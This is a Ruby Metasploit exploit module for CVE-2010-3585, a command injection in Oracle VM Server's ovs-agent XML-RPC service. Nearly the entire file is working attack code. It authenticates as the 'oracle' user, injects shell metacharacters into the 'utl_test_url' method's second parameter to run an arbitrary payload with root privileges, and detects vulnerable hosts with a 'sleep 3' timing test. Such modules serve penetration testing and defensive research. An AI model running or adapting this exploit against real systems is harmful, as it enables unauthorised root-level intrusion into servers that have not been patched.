Oracle VM Server Virtual Server Agent Command Injection



##

# $Id: oracle_vm_agent_utl.rb 10821 2010-10-25 20:58:49Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Oracle VM Server Virtual Server Agent Command Injection',
            'Description'    => %q{
                    This module exploits a command injection flaw within Oracle\'s VM Server
                Virtual Server Agent (ovs-agent) service.

                By including shell meta characters within the second parameter to the 'utl_test_url'
                XML-RPC methodCall, an attacker can execute arbitrary commands. The service
                typically runs with root privileges.

                NOTE: Valid credentials are required to trigger this vulnerable. The username
                appears to be hardcoded as 'oracle', but the password is set by the administrator
                at installation time.
            },
            'Author'         => [ 'jduck' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10821 $',
            'References'     =>
                [
                    # ovs-agent.spec:- Fix ovs agent command injection [orabug 10146644] {CVE-2010-3585}
                    ['CVE', '2010-3585'],
                    ['OSVDB', '68797'],
                    ['BID', '44047']
                ],
            'Privileged'     => true,
            'Platform'       => ['unix', 'linux'],
            'Arch'           => ARCH_CMD,
            'Payload'        =>
                {
                    'Space' => 512,
                    'BadChars' => '<>',
                    'DisableNops' => true,
                    'Keys'  => ['cmd', 'cmd_bash'],
                },
            'Targets'        => [ ['Automatic', { }], ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Oct 12 2010'
            ))

        register_options(
            [
                Opt::RPORT(8899),
                OptBool.new('SSL', [ true, 'Use SSL', true ]),
                OptString.new('CMD', [ false,  "A single command to execute instead of the payload" ]),
                OptString.new('USERNAME', [ true,  "The user to authenticate as", 'oracle']),
                OptString.new('PASSWORD', [ true,  "The password to authenticate with" ])
            ], self.class)

        deregister_options(
            'HTTP::junk_params', # not your typical POST, so don't inject params.
            'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
            )
    end

    def go(command)
        datastore['BasicAuthUser'] = datastore['USERNAME']
        datastore['BasicAuthPass'] = datastore['PASSWORD']

        xml = <<-EOS
<?xml version="1.0"?>
<methodCall>
<methodName>utl_test_url</methodName>
<params><param>
<value><string>PARAM1</string></value>
</param></params>
<params><param>
<value><string>PARAM2</string></value>
</param></params>
<params><param>
<value><string>PARAM3</string></value>
</param></params>
<params><param>
<value><string>PARAM4</string></value>
</param></params>
</methodCall>
EOS

        sploit = rand_text_alphanumeric(rand(128)+32)
        sploit << "';" + command + ";'"

        xml.gsub!(/PARAM1/, 'http://' + rand_text_alphanumeric(rand(128)+32) + '/')
        xml.gsub!(/PARAM2/, sploit)
        xml.gsub!(/PARAM3/, rand_text_alphanumeric(rand(128)+32))
        xml.gsub!(/PARAM4/, rand_text_alphanumeric(rand(128)+32))

        res = send_request_cgi(
            {
                'uri'          => '/RPC2',
                'method'       => 'POST',
                'ctype'        => 'application/xml',
                'data'         => xml,
            }, 5)

        if not res
            if not session_created?
                print_error('Unable to complete XML-RPC request')    
                return nil
            end
            
            # no response, but session created!!!
            return true
        end

        case res.code
        when 403
            print_error('Authentication failed!')
            return nil

        when 200
            print_good('Our request was accepted!')
            return res

        end

        print_error("Encountered unexpected #{res.code} reponse:")
        print_error(res.inspect)

        return nil
    end

    def check
        print_status("Attempting to detect if the server is vulnerable...")

        # Try running/timing sleep 3
        start = Time.now
        go('sleep 3')
        elapsed = Time.now - start
        if elapsed >= 3 and elapsed <= 4
            return Exploit::CheckCode::Vulnerable
        end

        return Exploit::CheckCode::Safe
    end

    def exploit
        print_status("Attempting to execute the payload...")

        cmd = datastore['CMD']
        cmd ||= payload.encoded

        if not go(cmd)
            raise RuntimeError, "Unable to execute the desired command"
        end

        handler
    end

end